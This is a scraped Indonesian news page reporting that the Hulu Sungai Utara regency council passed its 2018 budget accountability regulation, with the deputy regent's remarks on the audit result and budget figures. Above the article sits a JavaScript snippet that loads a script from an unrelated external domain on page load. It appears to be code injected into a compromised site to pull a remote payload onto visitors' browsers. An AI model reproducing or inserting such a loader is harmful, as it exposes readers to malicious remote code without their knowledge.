(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Perda Pertanggungjawaban APBD 2018 HSU Disahkan, Wabup: Bahan SKPD Untuk Evaluasi


AMUNTAI, Wakil Bupati HSU H Husairi Abdi minta seluruh SKPD agar  menjadikan hasil laporan pertanggungjawaban pelaksanaan APBD 2018 sebagai bahan evaluasi pelaksanaan APBD di 2019.

Permintaan itu diungkapnya saat memberikan tanggapan dalam rapat paripurna dengan agenda pengambilan keputusan terhadap Raperda tentang pertanggungjawaban pelaksanaan APBD 2018 di DPRD HSU, Kamis (27/6).

Dikatakannya, mekanisme pertanggungjawaban pelaksanaan APBD merupakan salah satu bagian dari proses pengelolaan keuangan daerah. Mekanisme pertanggungjawaban pelaksanaan APBD merupakan prosedur pengawasan yang dilakukan oleh instansi anggaran yang memiliki fungsi pengawasan baik oleh BPK RI pemerintah provinsi, maupun DPRD.

Oleh karenanya, dalam pendapat akhir ini disampaikan secara substansi Raperda tentang pertanggungjawaban pelaksanaan APBD tahun anggaran 2018 yang  disepakati merupakan hasil dari audit BPK RI. “Dan untuk hasilnya  kita dapat mempertahankan predikat wajar tanpa pengecualian,” sebut Wabup HSU.

Dari hasil audit BPK RI tersebut, maka semua realisasi pendapatan, belanja dan pembiayaan yang disampaikan tentunya sama persis dengan hasil audit BPK RI. Yaitu realisasi pendapatan berjumlah Rp 1.150.033.413.068, realisasi belanja berjumlah Rp1.147.082.985.262, sehingga realisasi defisit berkurang menjadi sebesar Rp 2.950.427.806.

Adapun pada pos pembayaran, realisasi penerimaan berjumlah Rp171.315.879.454, Realisasi pengeluaran Rp2.820.000.000. Sehingga diperoleh netto pada pembiayaan sebesar Rp 168.495.879.454 dan bisa lebih pembayaran untuk tahun anggaran berjalan berjumlah Rp171.446.307.260.

“Kegiatan yang kurang efektif dalam pelaksanaan atau mengalami kendala kendala yang secara teknis bisa dilakukan pergeseran anggaran dalam perubahan APBD,” katanya.

Agar nanti realisasi APBD 2019 yang akan dipertanggungjawabkan di tahun 2020 nanti dapat maksimal baik dari sisi pencapaian target pendapatan, maupun dari sisi penyerapan anggaran belanja. (dew)

Reporter : Dew
Editor : Bie

Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

7 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

10 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

16 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

16 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

19 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

22 jam ago

This website uses cookies.